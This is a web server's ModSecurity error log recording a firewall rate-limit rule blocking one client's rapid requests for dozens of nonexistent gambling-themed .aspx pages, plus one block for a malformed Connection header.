[Sun May 03 22:07:00.781297 2026] [:error] [pid 54535:tid 54546] [client 81.167.26.57:6464] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "afdWhPRyz79iR-ntJRICigAAAgk"]
[Sun May 03 22:07:03.203481 2026] [:error] [pid 37126:tid 37176] [client 81.167.26.57:36392] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "afdWh_R_A42N-LtDyrtPogAAABc"]
[Sun May 03 22:07:05.795884 2026] [:error] [pid 37246:tid 37270] [client 81.167.26.57:39664] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "afdWiThvYFGNwhnPamo36QAAARQ"]
[Sun May 03 22:07:08.238978 2026] [:error] [pid 34432:tid 34450] [client 81.167.26.57:12904] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "afdWjJ73JKVQ0wlof4KMhAAAAdA"]
[Sun May 03 22:07:10.839798 2026] [:error] [pid 37246:tid 37273] [client 81.167.26.57:15991] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "afdWjjhvYFGNwhnPamo37QAAARc"]
[Sun May 03 22:07:13.392168 2026] [:error] [pid 54535:tid 54561] [client 81.167.26.57:57595] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "afdWkfRyz79iR-ntJRIClwAAAhg"]
[Sun May 03 22:07:15.847043 2026] [:error] [pid 54535:tid 54553] [client 81.167.26.57:34502] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "afdWk_Ryz79iR-ntJRICmwAAAhA"]
[Sun May 03 22:07:18.454482 2026] [:error] [pid 37246:tid 37259] [client 81.167.26.57:17902] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "afdWljhvYFGNwhnPamo37wAAAQo"]
[Sun May 03 22:07:21.070256 2026] [:error] [pid 37127:tid 37195] [client 81.167.26.57:55137] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "afdWmf8khJXb5O5aWVVMUAAAAEs"]
[Sun May 03 22:07:23.691622 2026] [:error] [pid 37127:tid 37199] [client 81.167.26.57:47968] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "afdWm_8khJXb5O5aWVVMUQAAAE4"]
[Sun May 03 22:07:26.269489 2026] [:error] [pid 54535:tid 54546] [client 81.167.26.57:21555] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "afdWnvRyz79iR-ntJRICpwAAAgk"]
[Sun May 03 22:07:28.910972 2026] [:error] [pid 37246:tid 37266] [client 81.167.26.57:38741] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "afdWoDhvYFGNwhnPamo38QAAARA"]
[Sun May 03 22:07:32.428600 2026] [:error] [pid 37246:tid 37262] [client 81.167.26.57:8964] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "afdWpDhvYFGNwhnPamo39QAAAQw"]
[Sun May 03 22:07:35.027978 2026] [:error] [pid 54535:tid 54556] [client 81.167.26.57:12093] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "afdWp_Ryz79iR-ntJRICsAAAAhM"]
[Sun May 03 22:07:37.639566 2026] [:error] [pid 37127:tid 37196] [client 81.167.26.57:24775] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "afdWqf8khJXb5O5aWVVMUwAAAEw"]
[Sun May 03 22:07:40.277979 2026] [:error] [pid 54535:tid 54539] [client 81.167.26.57:23812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "afdWrPRyz79iR-ntJRICtAAAAgI"]
[Sun May 03 22:08:02.555692 2026] [:error] [pid 40422:tid 40434] [client 81.167.26.57:26023] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "afdWwkHBbBLrXh6PButToQAAAUg"]
[Sun May 03 22:08:05.100564 2026] [:error] [pid 37126:tid 37169] [client 81.167.26.57:30860] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "afdWxfR_A42N-LtDyrtPvAAAABA"]
[Sun May 03 22:08:07.752427 2026] [:error] [pid 37130:tid 37236] [client 81.167.26.57:45449] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "afdWx6Iu7bmXKXicRk-OzwAAAJc"]
[Sun May 03 22:08:10.320415 2026] [:error] [pid 37126:tid 37171] [client 81.167.26.57:26108] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "afdWyvR_A42N-LtDyrtPwgAAABI"]
[Sun May 03 22:08:12.934166 2026] [:error] [pid 34432:tid 34434] [client 81.167.26.57:28076] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "afdWzJ73JKVQ0wlof4KMnQAAAcA"]
[Sun May 03 22:08:15.391741 2026] [:error] [pid 37127:tid 37192] [client 81.167.26.57:29695] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "afdWz_8khJXb5O5aWVVMWQAAAEg"]
[Sun May 03 22:08:18.040393 2026] [:error] [pid 34432:tid 34455] [client 81.167.26.57:50375] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "afdW0p73JKVQ0wlof4KMoQAAAdU"]
[Sun May 03 22:08:21.251567 2026] [:error] [pid 37246:tid 37264] [client 81.167.26.57:35191] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "afdW1ThvYFGNwhnPamo4AwAAAQ4"]
[Sun May 03 22:08:23.720958 2026] [:error] [pid 37130:tid 37218] [client 81.167.26.57:53984] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "afdW16Iu7bmXKXicRk-O2gAAAIU"]
[Sun May 03 22:08:26.297454 2026] [:error] [pid 37126:tid 37157] [client 81.167.26.57:52521] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "afdW2vR_A42N-LtDyrtPxwAAAAQ"]
[Sun May 03 22:08:28.933264 2026] [:error] [pid 54535:tid 54540] [client 81.167.26.57:37940] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "afdW3PRyz79iR-ntJRICzQAAAgM"]
[Sun May 03 22:08:31.543710 2026] [:error] [pid 37246:tid 37248] [client 81.167.26.57:27692] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "afdW3zhvYFGNwhnPamo4CQAAAQA"]
[Sun May 03 22:08:34.160730 2026] [:error] [pid 34432:tid 34439] [client 81.167.26.57:30307] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "afdW4p73JKVQ0wlof4KMqQAAAcU"]
[Sun May 03 22:08:36.769961 2026] [:error] [pid 40386:tid 40407] [client 81.167.26.57:28393] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "afdW5FHJDYRXUf3IbRQtHwAAANM"]
[Sun May 03 22:08:39.360980 2026] [:error] [pid 54535:tid 54551] [client 81.167.26.57:64535] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "afdW5_Ryz79iR-ntJRIC1AAAAg4"]
[Sun May 03 22:08:41.970381 2026] [:error] [pid 34432:tid 34457] [client 81.167.26.57:16001] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "afdW6Z73JKVQ0wlof4KMtAAAAdc"]
[Sun May 03 22:08:44.567388 2026] [:error] [pid 37130:tid 37231] [client 81.167.26.57:56733] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "afdW7KIu7bmXKXicRk-O4gAAAJI"]
[Sun May 03 22:08:47.191290 2026] [:error] [pid 37246:tid 37255] [client 81.167.26.57:20321] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "afdW7zhvYFGNwhnPamo4EgAAAQc"]
[Sun May 03 22:08:49.791538 2026] [:error] [pid 34432:tid 34434] [client 81.167.26.57:56051] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "afdW8Z73JKVQ0wlof4KMvQAAAcA"]
[Sun May 03 22:08:52.405389 2026] [:error] [pid 34432:tid 34441] [client 81.167.26.57:40770] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "afdW9J73JKVQ0wlof4KMwgAAAcc"]
[Sun May 03 22:08:54.870433 2026] [:error] [pid 34432:tid 34456] [client 81.167.26.57:42013] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "afdW9p73JKVQ0wlof4KMxwAAAdY"]
[Sun May 03 22:08:57.478011 2026] [:error] [pid 34432:tid 34451] [client 81.167.26.57:57063] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "afdW-Z73JKVQ0wlof4KMyQAAAdE"]
[Sun May 03 22:09:19.172694 2026] [:error] [pid 34432:tid 34434] [client 81.167.26.57:64607] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "afdXD573JKVQ0wlof4KNAQAAAcA"]
[Sun May 03 22:09:21.728449 2026] [:error] [pid 40456:tid 40464] [client 81.167.26.57:38213] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "afdXETSujTvwdzEkjSde6gAAAYY"]
[Sun May 03 22:09:24.307317 2026] [:error] [pid 37126:tid 37159] [client 81.167.26.57:19213] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "afdXFPR_A42N-LtDyrtP0gAAAAY"]
[Sun May 03 22:09:26.928636 2026] [:error] [pid 34432:tid 34444] [client 81.167.26.57:33895] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "afdXFp73JKVQ0wlof4KNEQAAAco"]
[Sun May 03 22:09:29.487562 2026] [:error] [pid 34432:tid 34434] [client 81.167.26.57:49544] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afdXGZ73JKVQ0wlof4KNGAAAAcA"]
[Sun May 03 22:09:32.099229 2026] [:error] [pid 54535:tid 54544] [client 81.167.26.57:45449] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "afdXHPRyz79iR-ntJRIC7AAAAgc"]
[Sun May 03 22:09:34.683466 2026] [:error] [pid 34432:tid 34436] [client 81.167.26.57:30442] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "afdXHp73JKVQ0wlof4KNLQAAAcI"]
[Sun May 03 22:09:37.350126 2026] [:error] [pid 37126:tid 37164] [client 81.167.26.57:7976] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afdXIfR_A42N-LtDyrtP0wAAAAs"]
[Sun May 03 22:09:39.950824 2026] [:error] [pid 37127:tid 37207] [client 81.167.26.57:6692] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "afdXI_8khJXb5O5aWVVMZQAAAFU"]
[Sun May 03 22:09:43.569294 2026] [:error] [pid 37130:tid 37234] [client 81.167.26.57:10289] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "afdXJ6Iu7bmXKXicRk-O5gAAAJU"]
[Sun May 03 22:09:46.214993 2026] [:error] [pid 40456:tid 40473] [client 81.167.26.57:58271] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "afdXKjSujTvwdzEkjSde7QAAAY8"]
[Sun May 03 22:09:48.665772 2026] [:error] [pid 37127:tid 37200] [client 81.167.26.57:46476] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "afdXLP8khJXb5O5aWVVMagAAAE8"]
[Sun May 03 22:09:51.278640 2026] [:error] [pid 37126:tid 37166] [client 81.167.26.57:44927] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "afdXL_R_A42N-LtDyrtP_QAAAA0"]
[Sun May 03 22:09:53.849254 2026] [:error] [pid 37246:tid 37272] [client 81.167.26.57:35801] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "afdXMThvYFGNwhnPamo4NwAAARY"]
[Sun May 03 22:09:57.514774 2026] [:error] [pid 54535:tid 54556] [client 81.167.26.57:32754] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "afdXNfRyz79iR-ntJRIC_gAAAhM"]
[Sun May 03 22:11:53.165971 2026] [:error] [pid 37127:tid 37202] [client 43.130.102.223:44938] [client 43.130.102.223] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afdXqf8khJXb5O5aWVVMeQAAAFE"]
